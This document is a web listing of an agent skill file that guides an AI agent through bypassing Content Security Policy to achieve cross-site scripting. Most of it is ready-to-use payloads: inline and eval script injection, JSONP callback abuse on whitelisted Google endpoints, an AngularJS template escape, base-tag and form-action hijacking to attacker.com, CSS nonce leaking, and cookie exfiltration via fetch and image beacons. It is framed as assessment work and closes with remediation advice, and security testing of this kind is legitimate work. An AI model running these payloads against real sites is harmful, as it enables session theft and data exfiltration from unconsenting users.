Agent skill

performing-content-security-policy-bypass

Analyze and bypass Content Security Policy implementations to achieve cross-site scripting by exploiting misconfigurations, JSONP endpoints, unsafe directives, and policy injection techniques.

Stars 4,300
Forks 470

Install this agent skill to your Project

npx add-skill https://github.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/performing-content-security-policy-bypass

SKILL.md

Performing Content Security Policy Bypass

When to Use

  • When XSS is found but execution is blocked by Content Security Policy
  • During web application security assessments to evaluate CSP effectiveness
  • When testing the robustness of CSP against known bypass techniques
  • During bug bounty hunting where CSP prevents direct XSS exploitation
  • When auditing CSP header configuration for security weaknesses

Prerequisites

  • Burp Suite for intercepting responses and analyzing CSP headers
  • CSP Evaluator (Google) for automated policy analysis
  • Understanding of CSP directives (script-src, default-src, style-src, etc.)
  • Knowledge of CSP bypass techniques (JSONP, base-uri, object-src)
  • Browser developer tools for CSP violation monitoring
  • Collection of whitelisted domain JSONP endpoints

Workflow

Step 1 — Analyze the CSP Policy

bash
# Extract CSP from response headers
curl -sI http://target.com | grep -i "content-security-policy"

# Check for CSP in meta tags
curl -s http://target.com | grep -i "content-security-policy"

# Analyze CSP with Google CSP Evaluator
# Visit: https://csp-evaluator.withgoogle.com/
# Paste the CSP policy for automated analysis

# Check for report-only mode (not enforced)
curl -sI http://target.com | grep -i "content-security-policy-report-only"
# If only report-only exists, CSP is NOT enforced - XSS works directly

# Parse directive values
# Example CSP:
# script-src 'self' 'unsafe-inline' https://cdn.example.com;
# default-src 'self'; style-src 'self' 'unsafe-inline';
# img-src *; connect-src 'self'

Step 2 — Exploit unsafe-inline and unsafe-eval

bash
# If script-src includes 'unsafe-inline':
# CSP is effectively bypassed for inline scripts
<script>alert(document.domain)</script>
<img src=x onerror="alert(1)">

# If script-src includes 'unsafe-eval':
# eval() and related functions work
<script>eval('alert(1)')</script>
<script>setTimeout('alert(1)',0)</script>
<script>new Function('alert(1)')()</script>

# If 'unsafe-inline' with nonce:
# unsafe-inline is ignored when nonce is present (CSP3)
# Focus on nonce leaking instead

Step 3 — Exploit Whitelisted Domain JSONP Endpoints

bash
# If CSP whitelists a domain with JSONP endpoints:
# script-src 'self' https://accounts.google.com

# Find JSONP endpoints on whitelisted domains
# Google:
<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)"></script>

# Common JSONP endpoints:
# https://www.google.com/complete/search?client=chrome&q=test&callback=alert(1)//
# https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.min.js

# If AngularJS is whitelisted (CDN):
# script-src includes cdnjs.cloudflare.com or ajax.googleapis.com
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.min.js"></script>
<div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>

# Exploit JSONP on whitelisted APIs
<script src="https://whitelisted-api.com/endpoint?callback=alert(1)//">
</script>

Step 4 — Exploit base-uri and Form Action Bypasses

bash
# If base-uri is not restricted:
# Inject <base> tag to redirect relative script loads
<base href="https://attacker.com/">
# All relative script src will load from attacker.com

# If form-action is not restricted:
# Steal data via form submission
<form action="https://attacker.com/steal" method="POST">
  <input name="csrf_token" value="">
</form>
<script>document.forms[0].submit()</script>

# If object-src is not restricted:
# Use Flash or plugin-based XSS
<object data="https://attacker.com/exploit.swf"></object>
<embed src="https://attacker.com/exploit.swf">

Step 5 — Exploit Nonce and Hash Bypasses

bash
# Nonce leaking via CSS attribute selectors
# If attacker can inject HTML (but not script due to CSP nonce):
<style>
  script[nonce^="a"] { background: url("https://attacker.com/leak?nonce=a"); }
  script[nonce^="b"] { background: url("https://attacker.com/leak?nonce=b"); }
</style>
# Brute-force each character position to leak the nonce

# Nonce reuse detection
# If the same nonce is used across multiple pages or requests:
# Capture nonce from one page, use it to inject script on another

# DOM clobbering to override nonce checking
<form id="csp"><input name="nonce" value="attacker-controlled"></form>

# Script gadgets in whitelisted libraries
# If a whitelisted JS library has a gadget that creates scripts:
# jQuery: $.getScript(), $.globalEval()
# Lodash: _.template()
# DOMPurify bypass via prototype pollution

# Policy injection via reflected parameters
# If CSP header reflects user input:
# Inject: ;script-src 'unsafe-inline'
# Or inject: ;report-uri /csp-report;script-src-elem 'unsafe-inline'

Step 6 — Exploit Data Exfiltration Without script-src

bash
# Even without script execution, data exfiltration is possible:

# Via img-src (if allows external):
<img src="https://attacker.com/steal?data=SENSITIVE_DATA">

# Via CSS injection (if style-src allows unsafe-inline):
<style>
input[value^="a"] { background: url("https://attacker.com/?char=a"); }
input[value^="b"] { background: url("https://attacker.com/?char=b"); }
</style>

# Via connect-src (if allows external):
<script nonce="valid">
  fetch('https://attacker.com/steal?data=' + document.cookie);
</script>

# Via DNS prefetch:
<link rel="dns-prefetch" href="//data.attacker.com">

# Via WebRTC (if not blocked):
# WebRTC can leak data through STUN/TURN servers

Key Concepts

Concept Description
unsafe-inline CSP directive allowing inline script execution, defeating XSS protection
Nonce-based CSP Using random nonces to allow specific scripts while blocking injected ones
JSONP Bypass Exploiting JSONP endpoints on whitelisted domains to execute attacker callbacks
Policy Injection Injecting CSP directives through reflected user input in headers
base-uri Hijacking Redirecting relative script loads by injecting a base element
Script Gadgets Legitimate library features that can be abused to bypass CSP
CSP Report-Only Non-enforcing CSP mode that only logs violations without blocking

Tools & Systems

Tool Purpose
CSP Evaluator Google tool for analyzing CSP policy weaknesses
Burp Suite HTTP proxy for CSP header analysis and bypass testing
CSP Scanner Browser extension for identifying CSP bypass opportunities
csp-bypass Curated list of CSP bypass techniques and payloads
RetireJS Identify vulnerable JavaScript libraries on whitelisted CDNs
DOM Invader Burp tool for testing CSP bypasses through DOM manipulation

Common Scenarios

  1. JSONP Callback XSS — Exploit JSONP endpoints on whitelisted CDN domains to execute JavaScript callbacks containing XSS payloads
  2. AngularJS Sandbox Escape — Load AngularJS from whitelisted CDN and use template injection to bypass CSP script restrictions
  3. Nonce Leakage — Extract CSP nonce values through CSS injection or DOM clobbering to inject scripts with valid nonces
  4. Base URI Hijacking — Inject base element to redirect all relative script loads to attacker-controlled server
  5. Report-Only Exploitation — Identify CSP in report-only mode where violations are logged but not blocked, enabling direct XSS

Output Format

## CSP Bypass Assessment Report
- **Target**: http://target.com
- **CSP Mode**: Enforced
- **Policy**: script-src 'self' https://cdn.jsdelivr.net; default-src 'self'

### CSP Analysis
| Directive | Value | Risk |
|-----------|-------|------|
| script-src | 'self' cdn.jsdelivr.net | JSONP/Library bypass possible |
| default-src | 'self' | Moderate |
| base-uri | Not set | base-uri hijacking possible |
| object-src | Not set (falls back to default-src) | Low |

### Bypass Techniques Found
| # | Technique | Payload | Impact |
|---|-----------|---------|--------|
| 1 | AngularJS via CDN | Load angular.min.js + template injection | Full XSS |
| 2 | Missing base-uri | <base href="https://evil.com/"> | Script hijack |

### Remediation
- Remove whitelisted CDN domains; use nonce-based or hash-based CSP
- Add base-uri 'self' to prevent base element injection
- Add object-src 'none' to block plugin-based execution
- Migrate from unsafe-inline to strict nonce-based policy
- Implement strict-dynamic for modern CSP3 browsers

Expand your agent's capabilities with these related and highly-rated skills.

mukul975/Anthropic-Cybersecurity-Skills

mapping-mitre-attack-techniques

Maps observed adversary behaviors, security alerts, and detection rules to MITRE ATT&CK techniques and sub-techniques to quantify detection coverage and guide control prioritization. Use when building an ATT&CK-based coverage heatmap, tagging SIEM alerts with technique IDs, aligning security controls to adversary playbooks, or reporting threat exposure to executives. Activates for requests involving ATT&CK Navigator, Sigma rules, MITRE D3FEND, or coverage gap analysis.

4,300 470
Explore
mukul975/Anthropic-Cybersecurity-Skills

hunting-for-spearphishing-indicators

Hunt for spearphishing campaign indicators across email logs, endpoint telemetry, and network data to detect targeted email attacks.

4,300 470
Explore
mukul975/Anthropic-Cybersecurity-Skills

analyzing-malicious-url-with-urlscan

URLScan.io is a free service for scanning and analyzing suspicious URLs. It captures screenshots, DOM content, HTTP transactions, JavaScript behavior, and network connections of web pages in an isolat

4,300 470
Explore
mukul975/Anthropic-Cybersecurity-Skills

implementing-zero-standing-privilege-with-cyberark

Deploy CyberArk Secure Cloud Access to eliminate standing privileges in hybrid and multi-cloud environments using just-in-time access with time, entitlement, and approval controls.

4,300 470
Explore
mukul975/Anthropic-Cybersecurity-Skills

implementing-pam-for-database-access

Deploy privileged access management for database systems including Oracle, SQL Server, PostgreSQL, and MySQL. Covers session proxy configuration, credential vaulting, query auditing, dynamic credentia

4,300 470
Explore
mukul975/Anthropic-Cybersecurity-Skills

detecting-t1003-credential-dumping-with-edr

Detect OS credential dumping techniques targeting LSASS memory, SAM database, NTDS.dit, and cached credentials using EDR telemetry, Sysmon process access monitoring, and Windows security event correlation.

4,300 470
Explore

Didn't find tool you were looking for?

Be as detailed as possible for better results